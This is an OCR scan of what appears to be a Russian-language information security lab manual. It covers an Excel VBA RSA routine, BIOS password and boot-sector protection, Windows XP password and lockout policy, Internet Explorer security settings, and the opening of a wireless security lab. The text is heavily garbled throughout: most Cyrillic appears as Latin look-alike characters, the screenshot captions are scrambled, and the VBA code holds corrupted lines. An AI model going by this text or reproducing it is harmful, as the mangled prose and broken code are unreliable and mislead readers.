Worksheets (1) .Range ("H3") .Value = 1

End If

label2:

End Sub

MsgBox "EcTe ofmiil memurens, sHSepuTe Apyroe wmcao”

- — —
a Microsoft Visual Basic for Applications - Mpumep RSA ¢ Dmod.xls - [Muctl (Code)] :I_ = | B |l
i@ File Edit View Insert Format Debug Run Tools Add-Ins Window Help Beegue sonpoc -8 %

E-lJ 4 o BmA 9 » 0 3k BEY 5 @ Lo cols
Project - VBAProject x| |CommandE\ut‘lon1 j |C\ick j
= ; - -] Private Sub CommandButton3_Click() ' gsmmdposaTs Z'
- VBAProject (Mpumep RS For i = 1 To t
=45 Microsoft Excel Objects "M{i) = (C(i} * d) Mod n
Mt (Mucr 1) a=0Ccii) ~ 4
T2 (Mict2) b=n
N3 (et 3) M{i) = Dmodia, b)
ngTamea Worksheets (1) .Cells(i + 7, 4).Value = M(i)
Hext 1
End Sub
Private Sub CommandButtonS _Click() ' nposepMTe d

Private Sub CommandButton4_Click(
Worksheets (1) .Range ("B4") .Value = ""
Worksheets (1) .Range ("H3") .Value = 0
Worksheets= (1) .Range ("c5:d5") .Value = "7
Worksheets (1) .Range ("c6:d6") .Value =
For i =1To t

Worksheets (1) .Cells{i + 7, 3).ClearContents
Worksheets (1) .Cell=(i + 7, 4).ClearContents
Next i
End Sub

Dmod = 2 — Int(a / b) * b
End Function

T —

Function Dmod (ByVal a &s Double, ByVal b As Double) ZAs Double

"onepauua mod Hag BEEMECTESHHE]

F

Puc. 3.21. Ilpumep 3amenvt onepayuu mod ¢ynxyueis Dmod 6 npoecpamme anco-

pumma RSA (uvacms 2)

3amanue Ne 4. /IonoTHUTEIBHO IS CAMOCTOATEIbHOI Pa00ThI

CocraButh nporpammy majsi anroputma RSA ¢ yBelWuYeHHBIM KOJHYe-

CTBOM CHUMBOJIOB ajipaBuTa AJisi MG pPOBaAHUSI.
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JlaGopaTopnas padora 8. HacTpoiika mapameTpoB 0€30IIaCHOCTH ONEePANMOHHBIX
CHCTEM.

Hean padorsl yctanoButh B BIOS Setup mapamerpsi, o0ecrieunBarolire 6€30nacHOCTb
CUCTEMBI.

OO0opynoBanme: yueOHbBIN IEPCOHATBHBIN KOMIIBIOTED.

Teopernvyeckue 0CHOBBI
BIOS. Ilocne BriouYeHHS KOMIIBIOTEpA IPOLECCOP HAYMHACT CYHUTHIBATH W BBITOJIHSATH
MHKPOIIPOrpaMMBbI, KOTOpbIe xpaHsaTcs B Mukpocxeme BIOS (Basic Input/Output System — 0a3oBas
cucreMa BBOAA/BhIBONA). IIpexme Bcero HauMHAET BBHIMONHATHCS Mporpamma TectupoBanusi POST
(Power On Self Test), koTopas mpoBepsieT paboTOCHOCOOHOCTh OCHOBHBIX YCTPOWCTB KOMIIbIOTEPA!
npoleccopa, BUAE0ANANTepa, ONEPATUBHON MaMsTH, IIOCIEAOBATENbHBIX U MapaJIeIbHOTO HOPTOB,
JMCKOBO/IOB, KOHTPOJUIEPOB )KECTKUX TUCKOB U KIaBUATYPBHI.

B cnyuae oOHapy)eHHs HEUCTIPAaBHOCTEH BBIJAIOTCS ITOCIIEA0BATEILHOCTH KOPOTKHX U JITHHHBIX
3BYKOBBIX CHTHAJIOB, & [IOCJIC MHUIIMAIU3AIMY BUACO0A A Tepa MPOLecC TECTUPOBAHUS OTOOpaskaeTcs Ha
9KpaHe MOHUTODA.

IIpakTuyeckoe 3aganue 1.3. «<BIOS u 3arpy3ka onepanuoHHoi cucreMbl». BKIo4nTh
KOMIIBIOTEP M HAOJIIOAATh MPOIIECC 3arpy3KH onepannoHHoi cuctemsl. C momombto mporpammsl BIOS
Setup npousBecTH yCTaHOBKY HOBBIX ITApaMETPOB KOH(PHUTYpaLUH KOMITBIOTEPA.

B HexoTopbhIX ciydasx MOsBJIEHHE COOOIIEHHsS 00 OmMOKe CBSI3aHO C 3a0BIBUMBOCTHIO
none3oBatens. Hanpumep, B ciydae mosiBneHust cooOmenust Invalid Boot Diskette (HeBo3moixHO
3arpy3UTh OINEPANMOHHYIO CHUCTEMY C JUCKETHI) ISl MPOJOJDKEHUS 3arpy3Kd HEOOXOTUMO IPOCTO
U3BJICYb HECUCTEMHYIO IUCKETY U3 AUCKOBOJA.

B mpouecce TectupoBanuss BIOS cpaBHuBaeT mnosydyaemble JaHHblE O KOHQHUIypaluuu
KommbloTepa ¢ HH(popmarmen, xpansamieiics B CMOS — coenuaiabHOM MHKpocXeMe IaMsTH,
PacmoJI0KEHHOM Ha CHCTEMHOM Tu1ate. Eciu TaHHbIe He COBMAAAIOT, TO TosiBIsieTcst coodmenne CMOS
System Option Not Set. B atom cnydae HeoOxoaumo ¢ momomipio yrumutel BIOS Setup ycranoBuTH
HOBBIE KOH(UTYpPAITMOHHBIE TTApAMETPHI.

Jlns mpaBWIBHOW YCTaHOBKHM JaTbl, BPEMEHH M MApaMETPOB JKECTKUX W THUOKHUX JHCKOB
HeoOxomumo ucnoib3oBath manessb STANDARD CMOS SETUP (CrarnmapTHast yCTaHOBKA).

C nomomnisto nanenu BIOS FEATURES SETUP (ITonHast ycTaHOBKA) MOYKHO YCTaHOBHUTD 3aILUTY
OT 3apakeHUs BUPYCOM 3arpy304HOTO CEKTOpa CHCTEMHOro Iwcka. bymer 3a0mokupoBaHO m060e
M3MEHEHHE 3arpy304HOTO CEKTOpa M, MO3TOMY, NPH MEPEYCTAHOBKE HJIM YCTAaHOBKE OINEPaLlMOHHOM
CHCTEMBI 3alIUTy HEOOXOAUMO CHUMATb.

Jlis mpeoxpaHeHus: JaHHBIX OT HECAHKIIMOHMPOBAHHOTO JOCTYMa MOXKHO ¢ momoinisio BIOS
Setup ycTaHOBUTH MapoJib U BXOJAa B CHCTEMY HIIM B YCTAaHOBKY KOH(HTYPAallMOHHBIX TTapaMeTPOB.
OO0s3aTenbHO XOPOIIO 3aOMHUTE WM 3alMIIUTE MMapoib, T.K. B CIIy4ae €ro yrepu BXOJ B CHUCTEMY
CTaHOBHUTCS HEBO3MOXHBIM (COpOC TapoJii BO3MOXKEH TOJIBKO amllapaTHO, ITyTeM OTKIIOYCHHUS
mukpocxeMbl CMOS ot ucTouHNKa TUTaHUS — aKKYMYJIATOPA).

3arpy3ka onepanuoHHoii cucremsbl. I[locie Toro kak POST-TecTupoBaHHE YCHEIIHO
3aBepmaercs, BIOS mpucrymaer k moucky mnporpammbi-3arpy3unka Master Boot omnepaunonHoit
cuctembl. CoBpeMennbie Bepcun BIOS mo3BoisIOT 3arpykaTh ONEPAIMOHHYIO CUCTEMY HE TOJBKO C
'MOKHX U KECTKUX JTUCKOB, HO U ¢ uckoBojioB CD-ROM, ZIP u LS-120. Ecnu mporpamma-3arpy3duk
HaiileHa, OHa TIIOMENIAeTCs B ONEpPAaTHBHYIO MaMiITh, W HAYWHACT TMPOIECC 3arpy3kd (aiiioB
OIEPALMOHHON CUCTEMBI.

CuctemHass KoH(UTypauusi H 3arpy3ka JpaiiBepOB YCTPOMCTB MPOHU3BOIUTCS IyTEM
nocneaoBareabHol 00paboTku KoHpurypanuonueix @QaitnoB. CHauana oOpaOaThiBaroTCs (aiiibl
config.sys u autoexec.bat, ocrasimecs B onepannonnoit cucreme Window 95/98 or MS-DOS. 3atem
obpabarbiBaroTcs Gaitisr System.ini u win.ini, KOTopsle OCTAIKCH OT OnepalonHoi crucrembl Windows
3.X. Jlanee 3arpyxaroTcs 3JIeMEHTBI, HAXO/ISIINECS B MCHIO ABTO3arpys3Ka.
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IIpakTH4yeckoe 3a1aHue

1. Bxmrounts koMmbroTep. HaGmrogaTe mpoiiece TecTupoBaHus KOMIbioTepa. B ciydae
BO3HMKHOBEHUS 3BYKOBBIX CUTHAJIOB UJIM COOOLIEHHH 00 o1MOKe YCTPaHUTh HEUCTIPABHOCTb.

2. Jlnsa Bxona B BIOS Setup B mporiecce TectupoBanus HaxaTh Kiapuiny {Del}. Yrumura
uMeeT UHTepdeiic B BUIe CHCTEMbl HEPAPXUUECKOT0 MEHIO, IEPEMEIIEHUE 110 KOTOPOMY
MIPOU3BOJUTCS C MOMOLIBIO KJIABUII CO CTPEJIKAMH.

3. YcranoButs Kypcop Ha myHKT MeHI0 STANDARD CMOS SETUP u Haxath KiIaBHIIy
{Enter}.

4. Ha nosiBUBIIEliCS MaHEIH YCTAHOBUTH KypCOp Ha 3JIEMEHT KOHPUTYPAITMOHHBIX JTaHHBIX
(BeIIETISIETCS IBETOM) U ¢ TomoIbio kinaBuin {PageUp} n {PageDown} ycTtaHoBUTE TpeOyemoe
3Ha4YeHHE MapaMeTpa.

5. ¥YcranoButh kypcop Ha myHKT MeHIO BIOS FEATURES SETUP u naxats kiaBumry
{Enter}.

6. Ha nosBuBIIelics maHeId YCTAaHOBUTH Kypcop Ha 3JIEMEHT KOHPUTypaIIMOHHBIX JTaHHBIX
Anti-Virus Protection u ycranouts 3Hauenue Enable.

7. Ha nanenu BIOS FEATURES SETUP BeiOpats myHKT Security Option u ycTaHOBHUTH
3HaYeHue System wiam Setup.

8. OrtxkpsiTh nanens SUPERVISOR PASSWORD.
9. Ha nossusmeiics nanenu ENTER PASSWORD BBecTH mapoib v HaKaTh KJIABUIILY
{Enter}.
10. IToBTOpHO BBECTH MAPOIb ISl TOATBEPKACHHUS €T0 MPABUIBLHOCTH.
11. 3anyctuts ciyxxebHyto nporpammy Windows CBeieHUsl 0 cUCTEME.
12. B okne npuitoskeHus BBectr komanay [ Cepuc-IIporpamMmma HaCTpOWKHM CUCTEMBI].
13. Ha Bkianke OO111ie MOKHO OTKJIFOUMTH 00pabOTKY KOH(UTYpallMOHHBIX (PaiijIoB, a Ha
JPYTUX BKIIAJKaX O3HAKOMHTBCS C UX COJIEPIKAaHHEM.
Otuer
OTuer 10KEH ColepKaTh:
HaMEHOBaHHE PabOThI;
1e7b paboTHI;
3aJJaHuE;
MIOCJIeIOBATEIHFHOCTD BBITIOJIHEHUS paOOTHI;
OTBETHI Ha KOHTPOJIbHBIE BOIIPOCHI;
BBIBO/JI O MPOJIETIaHHOMN padoTe.

ook~ wdE

KonTpoJsbHbBIE BOPOCHI

=

Yro takoe BIOS?
Kakue napamerpsl 0TBE4aOT 32 6€30MaCHOCTH?
3. Uro Takoe KOHGUTYpAIIHOHHBIE (aitTb?

N
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JlaGopaTopnasi padora 9. Hactpoiika napamerpoB 6e3omacuoctu \Windows.

Heab padorei: O3HAKOMUTHCS C MEXaHU3MAaMH AayTEHTU(DHUKAIMK U HICHTU(DUKALNY,
JIOKATHHBIMH MTOJUTHKAMU 0e30macHOCTH, BCTpoeHHBIME B OC Windows XP..
OO0opynoBanme: yaeOHBIHM EPCOHATBHBIN KOMITBIOTED.

Teoperuyeckue 0CHOBbI

B cootBercTBUM ¢ cepTH(PUKALIMOHHBIMU TPEOOBAaHUSAMHM K CHUCTEMaM O€30MacCHOCTH ONepalMOHHbIX
CHCTEM TMpH MOJKIIOYEHUH IMOJb30BaTEIe JOIDKEH PEaTH30BBIBATHCS MEXaHH3M ayTeHTH()HKAIUN
n/unu uneHTuukannu. nentupukanus v ayTeHTu(GUKaus NIPUMEHSIOTCS JUIsl OTPAaHUYEHUs 10CTyTa
CIIy4ailHBIX MJIM HE3aKOHHBIX CYOBEKTOB (II0OJIb30BATENEH, MPOIECCOB) K MHPOPMALIMOHHON cUCTeMe,
00BbEeKTaM — pecypcaMm (anmnapaTHbIM, IPOrPaMMHBIM, HHPOPMALIMOHHBIM).
Nnentudukanus — mnpucBoeHHE CyObEKTaM M OOBEKTaM JIOCTyNa JIMYHOTO HIeHTH(HKAaTopa U
CPaBHEHHUE €r0 C 3aJaHHBIM.
AyTenTH(UKanusA (yCTAaHOBJICHHE TOUIMHHOCTH) — IMPOBEPKa MPUHAMJICKHOCTH CYOBEKTY IOCTyIa
IPEIbSBIEHHOIO MM MICHTU(UKATOpa W IOATBEPXKACHUE €ro MOAIMHHOCTU. [Ipyrumu cioBamu,
ayTeHTU(UKALIMS 3aKIII0YAeTCs B MPOBEPKE: ABIIAETCS JIU MOAKIIOYAIOIIUICS CYOBEKT TEM, 32 KOTO OH
caM ceOs BBIIaéT.
Hacrpoiika mapamerpoB ayrentudukanuun B OC Windows XP BBITIONHSETCS B paMKax JIOKAJIBHON
NONUTUKM Oe3omacHocTH. Brilagka «JlokanbHas moAMTHKA OE30MACHOCTH» MCIOJB3YeTCs JUIs
W3MEHEHHUS MOJINTUKU YYETHBIX 3alucedl U JIOKaIbHBIX MOJIUTUK Oe30IacHOCTU Ha Kommbtotepe. [Ipu
MOMOIIMY BKJIaIKU «JIoKaabHAast MOJUTHKA O€30M1aCHOCTH MOXKHO ONPEEeIUTh:

o KT0 MMeeT 10CTyll K KOMIIBIOTEPY;

o Kaxkue pecypchl MOI'YT UCIIOJIB30BaTh I0JIb30BATENIN HA KOMIIBIOTEPE;

o BxiroyeHue M BBIKIIOYEHHE 3alMCH JCWCTBUM I0JIb30BATENCH WIH T'PYNIIbI II0Jb30BATEIICH B

KypHase COOBITUH.

3aganme: Hactpouth mapameTpbl JIOKaJbHOM MOJUTHKU OE€30MaCHOCTH OINEPALMOHHON CHCTEMBbI
Windows XP.
AJITOPUTM BBINOJIHEHUSI Pa0OThI:
Jlis mpocMOTpa ¥ U3MEHEHUs apaMeTpPoB ayTeHTH(UKALUU T0JIb30BaTENIeH BBIIOIHUTE CIEAYIOIINE
JNEUCTBHS:
1. BeiGepute kHomky [lyck Ha maHenu 3a1ad.
2. Otkpoiite MeHto Hactpouts — [lanens ynpasieHus.
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3. B oTkpbIBIIEMCs OKHE BbIOEpUTE SPIBIK AIMUHHCTpUpOBaHUe — JIokanbHast MONMTKa 6€30MacCHOCTH

(puc. 1).

B0 BoKamieae noposee TP GEsonaOnoC 1w - =10 x}
wagw Asvcrmm  Dra  Cnpaess
CRE R =

|} MM TR0 yhen Treds Sarvscest
. orwmiecs ot 2 § 20 Nowammrase nomTvos

41 L) Moo nmies) NOrMEma I 10 OYR R0 K Amorea

#1- L) TROM Tt OTIREATOND KW 1 I (Trecs OF RIS sstisOr G 15070/ My YoM NEGrEaee

%5 ) TOMTIN0 OrDIre T4 e O B (it Bo300acHmoc T 1P M8 “Tokameas| KomweoTop”
- Mot Gosonsomci i

Lot 2

Puc. 1

4. Boi0bepute nyHKT [loiuTHKA y4eTHBIX 3anucei (3TOT IYHKT BKJIOYaeT ABa noAnyHkra: [loantuka
napoJieii u [loiMTHKa GJIOKHPOBKHU YUeTHOM 3aIHCH).

5. Otkponite moanyHkT [lonmutuka maponeit. B mpaBoM OKHE MOSBHUTCS CIMCOK HACTPAaWBAEMbBIX
napameTposB (puc. 2).

B Nokanbhbie napaneTpbl 6e3onacHocTy - IUL)_(J

Kowcone  fercrems &uQCmauca -

«s O XB 2
5 Napaverpe: Gesonacmocrn  881Maxc. cpox asicrena napoms
=08 Mamvmraos yuemeoc saon: 381, anvma napona

R | onTva naponen

I, CPOK ASHCTENA NAPOMA

Mapans A0NHEH OTEEYATY TPebosama CHOXHOCTH

Tpeboears HenBTOPASMICTH NapInEs!

APaHATE NAROTM BLEX NONL3CEATENS! B A0MEHZ, WININLIYA 0fpaTIMDE undposame

+ (@ nomvmeca Snorvpeens [
® j Nokanmstes nonTHM
& ) Nanvmvat oTepeimoro kni fo
% ] Nonmv o pasmersiono
¥ S Monwvan BezonacnocTr ]

Puc. 2

6. B moka3zaHHOM mpHUMEpe TMOJMUTUKA IMAapoJied COOTBETCTBYET HCXOJHOMY COCTOSIHUIO CHCTEMBI
0€30MacHOCTH TIOCJIe YCTAHOBKM OIEPAIMOHHONW CHCTEMBI, MPH 3TOM HHU OJHH W3 [apaMeTpOB HE
HacTpoeH. Bo3MoJkHbIC 3HAYECHUS TTapaMeTPOB NpUBECHBI B Tabmuie Nel.

Tabnuma Nel
3nauenus napametpoB [lonutuku naponei
[Tapamerp 3HaueHue
TpeboBatb nmoBTOpsieMoctu | OmpeaenseT Yuciao HOBBIX Mapoiel, KOTOPbIE TOJKHBI OBITh
rmapoJient COTIOCTABIICHBI YUYETHOM 3aIUCH TOIH30BATENIs, TIPEK/IE Y€M MOKHO
OyZeT CHOBA MCIIOIh30BaTh CTAPBIN MApOb. DTO 3HAYCHUE JOKHO
MPUHAJIeKATh quamnazony ot 0 mo 24.
MakcuManbHBIH CPOK Omnpenensier nepuoj BpeMeHu (B J{HsAX), B Te4eHHE KOTOPOTO MOKHO
JIEHCTBUSI TTAPOJIST WCIIOIB30BaTh Map0JIb, YEM CUCTEMA OTPEOYET OT MOJIb30BATEISI
3aMEHHUTH ero. Mo>KHO 3a/1aTh 3HaUeHUEe B IHamna3oHe ot 1 10 999
JTHEW WJIM CHSTH BCAKUE OTPAHUYCHHS CPOKA JIEHCTBHS, YCTAHOBUB
4uCIo THEeH paBHBIM (.
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MuHMMaNBHBIN CPOK
JIEUCTBUS MapOJIs.

Omnpenensier nepuo] BpeMeHu (B J{HsX), B Te4eHHE KOTOPOTO MOXKHO
HCIIO0Ih30BaTh Map0Jib, YEM CHCTEMa MOTPEOYyET OT MOJIb30BaATEIIS
3aMCHUTH ero. MOKHO 3aJaTh 3HaUEHHE B aHara3oHe ot 1 10 999
JTHEW WJIM CHATH BCAKUE OTPAHUYCHHS CPOKA JIEHCTBHS, YCTAHOBUB
yuCyo JHer paBHbIM 0.

MuHumanbHas JUHa
apoJIs.

Omnpenensier HAUMEHbBIIIEE YHCIO CUMBOJIOB, KOTOPHIE MOKET
COZEPKATh NApOJIb YYETHOW 3aIIMCH MOJIb30BaTeld. MOXKHO 3a1aTh
3HauYeHUE B uarnazoHe ot 1 10 14 cMMBOJIOB WJIM OTMEHHUTH
WCII0JIH30BAHUE M1APOJIsl, yCTAHOBUB YHCJIO CUMBOJIOB paBHbIM ()

[Taposns 10oJKEH OTBEYATH
TpeOOBAHUSM CIOKHOCTH

Omnpenensier, AOMKHBI I OTBEYATh MMAPOJIU TPEOOBAHUSIM CIOKHOCTH.
Ecau sTa nonuTuka BKIIOYEHA, MAPOJIH JIOJDKHBI YJIOBICTBOPATh
CJIEYIOIIMM MUHUMANbHBIM TpeboBanusM. @ [lapons He MokeT
COJIEp>KaTh UMS YIETHOM 3aIMCH TOJIB30BATEIIS WM KaKyIO-JIM0O ero
yacTh; ¥ [1aponp qoKeH COCTOATh HE MEHee YyeM U3 6 CUMBOJIOB;
B mapose n1omKHBI IPUCYTCTBOBATH CUMBOJIBI TPEX KATETOpHUM U3
yucla cleaymux yereipex: 1. [IponucHbie OyKBBI aHTITHICKOTO
anasuta oT A 10 Z; 2. CtpouHble OYKBBI aHTTIMHCKOTO andaButa ot
A 10 Z; 3. CumBOIIBI HE IPUHAICKAITHE AT(PaBUTHO-ITUHPOBOMY
Habopy (Hanpumep, !,$,#,%). [IpoBepka coOIrOACHUS 3THX
TpeOOBaHMI1 BHIMIOJIHAETCS IPU U3MEHEHUHU WM CO3AaHUU MapOoJIei.

XpaHUTh TapoJIU BCEX
H0JIb30BAaTeNEl B IOMEHE,
UCIIOJIB3YS 00paTuMoe
mudpoBaHue.

Omnpenensier, cneayet ju B cucremax Windows 2000, Windows XP
XPaHUTh MAPOIIH, UCTIONB3Ysl 00paTUMoe MU(PPOBaHUE. ITa MOIUTHKA
o0ecreunBaeT MOAAEPKKY MPHIIOKEHHH, UCTIONB3YIOIIHUX MTPOTOKOJIHI,
KOTOPBIM JIJIsl TPOBEPKH MOJUIMHHOCTU HYKHO 3HATh MapoJib
MOJIb30BaTENsl. XPAHUTH MMAapOIIH, 3 (POBaHHBIE 0OPATHMBIMH
METOJIaMH, 3TO BCE PABHO, YTO XPAHUTh UX OTKPBITHIM TEKCTOM.
[TosTOMY MaHHYIO OUTUKY CJIEIYET HCIIOJIb30BaTh JIUIIb B
UCKJIIOYHUTENIBHBIX CITy4asiX, €CJIU MOTPEOHOCTH MPHIIOKESHUS
OKAa3bIBAIOTCS BAJKHEE, YEM 3alUTa TapoJIs.

7. O3HaKOMHUTECH CO CBOMCTBAMHU BCEX MapaMETPOB.
8. s u3menenust TpeOyeMoro napameTpa BbIIEIUTE €r0 U BHI30BUTE €0 CBOMCTBA U3 KOHTEKCTHOI'O
MEHIO 110CJIe HaXKaTHs MIPaBOil KHONKU MBIIIN (MM JBAXK/IbI IEIKHUTE HA U3MEHSAEMOM IapaMeTpe).
9. B pe3ynbTaTe 3TOr0 AeHCTBUS MOSIBUTCS OJHO U3 OKOH, TOKA3aHHBIX Ha puc. 3.

BovCTBa: TIAPOAL AOMKEN OTBENATE TpeGoNAH

Tapatserp NoxansHi GE30NacHOCTH |

AT

[Mapare A0MKEH OTEEYATE TPEBOBAMEM CAORHOCTH

21x]

" Braowms
& Drmoems
| 0K I Orvesa
Puc. 3

10. 3menuTe, 3HaueHue napamerpa u Haxmure OK.

11. Hampumep (00s3aTenbHO BBINOJHUTE W COXPAHUTH),
HEIMOBTOPSIEMOCTH MAPOJIEN U U3MEHUTE €ro 3Ha4YeHHE Ha 1.

12. ns vactpoiiku [TomuTHKY GIIOKUPOBKU YUETHOU 3aIIMCH BBIOEPUTE ATOT MOAMYHKT H OTKPOMTE €ro.
13. 3HayeHus mapamMeTpoB JaHHOTO NMOoANYHKTa [lonuTuky yueTHO! 3anucu npuBeieHbl B Tabnuie No2.
Ta6mnuma Ne2
‘ [Tapamerp

BblOepute mapamerp TpeOoBatb

‘ 3HaueHue
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[Toporosoe Omnpenensier 4YMca0 HEYAAYHBIX MOMBITOK BXOa B CUCTEMY, TIOCIIE KOTOPHIX
3HaYCHHE y4eTHas 3aMuch MOJIB30BATENs OJIOKHpYETCs. BIIOKHMpOBaHHYIO YUETHYIO 3aITUCh
OJIOKMPOBKHU HEJIb3s1 HCIIOJIB30BATH JI0 TEX I0p, MOKa He OyAeT cOpoleHa aIMUHICTPATOPOM

WM TIOKA He UCTEUET e€ MHTepBasl OJOKUPOBKU. MOXKHO 3a7aTh 3HAaYEHUE B
nuarnasoHe ot 1 10 999 wnu 3anpeTuTh OJIOKUPOBKY JaHHOM YUETHOH 3amucH,
ycTraHoBMB 3HaueHue 0.

biiokuposka Ornpenenser Yuciao MUHYT, B TCUCHUH KOTOPBIX YUY€THAsl 3alUCh OCTaETCs
YUeTHOM 3amucu | OJOKHUpPOBAaHHOMU, IpeXxae YeM Oy/eT aBTOMAaTUYECKU pa30IoKUpoBaHa. ITOT
Ha rapameTp MOXET IpUHUMAaTh 3HaueHus oT 1 10 99999 munyt. Eciu ycraHoBUTH

3nauenue 0, yueTHas 3anuch OyzaeT OJOKMpOBaHaA HA BCE BpeMs J10 TeX IOp, OKa
aJIMUHUCTPATOp He pa3zdnokupyer €€ sBHBIM 00pa3oM. Ecim moporosoe
3Ha4yeHue OJOKUPOBKH ONPEIEICHO, JTaHHbIM HHTepBaJl OJJOKMPOBKH J10JIKEH
ObITH OOJIBINIE WM PABEH HHTEPBATY cOpoca.

COpoc cuerunka | OnpenensieT YUCIO MUHYT, KOTOPBIE JOJKHBI IPOUTH MOCIIE HEYAauHOM
OJIOKMPOBKHU MOTIBITKY BXOJIA B CHCTEMY, ITPEXK/IC YeM CUCTUHK HEYNaYHbBIX IMOMBITOK OyIeT
yepes copomiex B 0. DTOT mapamMeTp MOXKET MPUHUMATh 3HaueHus oT 1 10 99999

MuHyT. Eciin onpezeneHo noporoBoe 3HaueHue 0JIOKUPOBKH, TaHHBIA HHTEPBAJ
cOpoca He 1oKeH ObITh Ooublile HHTepBajia biokupoBka ydeTHOH 3anucu Ha.

14. O3HaKoMHUTECH CO CBOMCTBAMU BCEX NTApaMETPOB.

15. [l u3MeHeHns napaMeTpoB BOCIIONIb3YHTECh ITOPUTMOM, OIMCAaHHBIM B ITyHKTax 8-10.

3aganus AJ151 CAaMOCTOATEILHON padoThI:

1. I3menuTte napametp «Ilaposb K0/zKeH oTBeYaTh TPeOOBAHUAM cJI0kHOCTH» [losuTHKH mapoJieit
Ha «Briwo4yen» (pUCYHOK 3) U MOCIE 3TOTO MOMPOOYHTE M3MEHUTH MApOIb CBOSH Y4eTHOW 3aIucu.
3adukcupyiite Bce COOOUICHUS CHUCTEMBI, MPOAHATM3UPYHTE W BBEIUTE AOMYCTUMBIN MMapoib. JTOT
NapoJib SIBISIETCA Pe3yIbTaTOM BHIIOJTHEHUS Bariero 3ananusi.

2. Ilocne ycnemHOro BBINIOJIHEHUS NIEPBOrO 3a/laHus, U3MEHUTE MapoJib Bamieil yueTHol 3amnucu, a B
KauecTBE HOBOTO MapOJis YKaKUTE MPEKHUM mapoib. Bee coobmienus 3adukcupyiite, mpoaHaan3upynTe
1 0OBSICHUTE MTOBEAECHUE CUCTEMbI OE€30I1aCHOCTH.

3. [IpoBeauTe SKCTIEpUMEHTHI C ApyrumMu napameTpamu [1oJIMTHKH yuyeTHBIX 3anuceii.

OTtuer

OT4YeT OJKEH COAepKaTh:

[\S)

Uk~ wdE

HaMEHOBaHHE PabOTHI;
1e7b paboTHI;
3aJJaHueE;
MIOCJIEIOBATEIHHOCTD BHITIOJIHEHUS paOOTHI;
OTBETHI Ha KOHTPOJIbHBIE BOIIPOCHI;
BBIBO/JI O MPOJIETaHHOMN padoTe.
KoHnTpoJsbHbBIE BOPOCHI

. Uro Takoe ayreHTUUKALNA U UACHTUDUKAIMS?
. Jl1 94ero NpUMEHSIOTCS 3TH MEXAHU3MBI?
. UTO MOHO HAaCTPOUTH C MOMOIUIbIO BKJIAAKU JIOKanbHbIE TOJUTHKU Oe301acHOCTH?

JlaGopaTopnas padora 10. Hactpoiika mapamerpoB 0e3onacHoctu UHTepHerT.

Ileab padoThl MIPOU3BECTH HACTPOMKY MapaMeTpoB Oe3omacHocTH Internet Explorer.
OO6opynoBanme: yueOHbBIN MEPCOHAIBHBIN KOMIIBIOTE.
Xoj BbINOJIHEHHUS pa0dOThI:

1. Otkpoiite auanoroBoe okHo CBoiictBa: Wutepner (Ilyck/Ilanenv ynpaenenus/Ceoiicmea
o6o3pesamens);
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2. llepeiinure Ha BKIagKy be3omacHocTh M OTKpoiiTe mapamerpsl 30HBI MIHTEpHET C MOMOIIBIO
KHOTIKM /[pyeoil...;
YcranoBure IlpoeepKy umenu nonvzoeamens B pexxuM 3anpoc UMEHH MOJIb30BaTe/Is1 M APOJIs;
4. Pazpemure B COOTBETCTBYIOIIUX MOJISIX yKa3aHHbIE HUXKE NEHCTBUS:
o brokupoBaTh BCIUIBIBAIOLINE OKHA;
o JocTyn kK HICTOYHHMKAM JIaHHBIX 32 MpeleIaMU JOMEHa;
o llepexox Mexy Kagpamu yepe3 pa3Hble JOMEHBL;
5. YcranoBute Pa3spemieHusi KaHajla NPOrpaMMHOrO obecmedyeHHsi Ha Bwicokuil yposers
bezonacrocmu;
Otxmtounte Hcnonvzosanue snemenmos ActiveX He nomeuenHvlx Kak b6e3onacHwle,
Otkitounte 3arpy3ky Henoonucaunwix snemenmos ActivelX,
[Ipumenute mapameTpsl KHONIKOU OK
YcranoBuTe napaMeTpbl KOHOUICHIIHATEHOCTH:
o mepenauTe Ha BKIAAKy KoH(pUIeHINAIBLHOCTD;
o YCTaHOBHUTE PETYJSATOp Ha YPOBEHb YMmepenno vicoxuil,
o paspemuTe 3arpy:karh ¢aitasr COoKie ¢ yzima www.mail.ru:
*  IEJIKHUTE 110 KHOIIKE Y3101,
= BBeauTe B mojie WWW.mail.ru u menkuuTe no kHonke Pazpewums;
o AHAJOTMYHO pa3pelIuTe 3arpyxarb cookie co clexylommx y3jaoB: WWww.yandex.ru,
www.pochta.ru;
o TNPUMEHUTE NapameTpsl KHONKOH OK;;
10. HacrpoiiTe orpaHu4eHus Ha JOCTYII K pecypcam Mo CoJiep>KaHuio HH(OOPMALIUK HA HUX:
o mepeiaure Ha  Bkiagky —Copepxxanme W OTKpodTe OkHO  OrpaHuveHue
AOCTYyNA KHONIKON Brirouums B pa3nene OrpaHnyeHus 10CTyna,
o YCTaHOBHUTE IMApPOJIb:
» nepelauTe Ha BKIaAKy O0mue;
*  OTKpPOHTE OKHO CO3/aHus naposst kHonkoi Cozoame napoinw,
= BBEJIUTE MAPOJIb - USEr 1 MOJACKA3Ky K HeMy - USEr;
* [IPUMEHMTE NapaMeTpbl KHONKoi OK.
o mnepeiaure Ha BKIaAKy Ouenkm u ycranoBute ypoBHU Cury:kObl omeHkn Recreational
Software Advisory Council o cBoeMy ycMOTpEHHIO;
npuMeHuTe napameTpbl kHotnkoi OK;
OUMCTUTE TAPOJM, KOTOphIE Opay3ep aBTOMATHYECKH 3amoMuHaer. Jljisg »Toro Ha
Bknaake Coaep:kaHue, UIEIKHUTE TI0 KHONKE Aemo3zanonnenue, a 3aTeM 10
KHONIKe Quucmums naponu,
o ymanute BpeMmeHHbIe (hanbl HTepHET 1 COOKies Ha Bkiaake Ooumme.
Otuer

w

© o>

Otuet HAOJIKCH COACPKATh:

N

oo wdE

HauMEeHOBaHHE PabOThI;
11e1b paboTHI;
3aJJaHHE;
M10CJIe/I0BATEIbHOCTD BBIMOJIHEHUS paboThI;
OTBETHI HA KOHTPOJIbHBIE BOIPOCHI;
BBIBOJ] O MPO/JIeJIaHHON padoTe.
KonTpoJibHbIe Bonpocskl
Kakue mapamerpbl HE0OX0AMMO HacTpauBaTh JUId oOecriedeHus: Oe3zomacHocTH Opaysepa Internet
Explorer?
Jnist uero HeoOxoauMa MPOBEpKa UMEHH MOJIb30BaTENsl U apos?
3aueM HeoOXouMa HacTporKa mapaMeTpoB KOH(PHUIEHIUATbHOCTH?
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JlabopaTopHnas padora 11. UccienoBanne 3aiMIeHHOCTH 0eCIPOBOIHBIX ceTeil

nepeaayM JaHHbIX

1. Hean padoTsl
OOBEKTOM UCCIIEAOBaHMS SIBIIAETCA OECTpPOBOAHAS BBICOKO3AIIUIICHHAS CETh
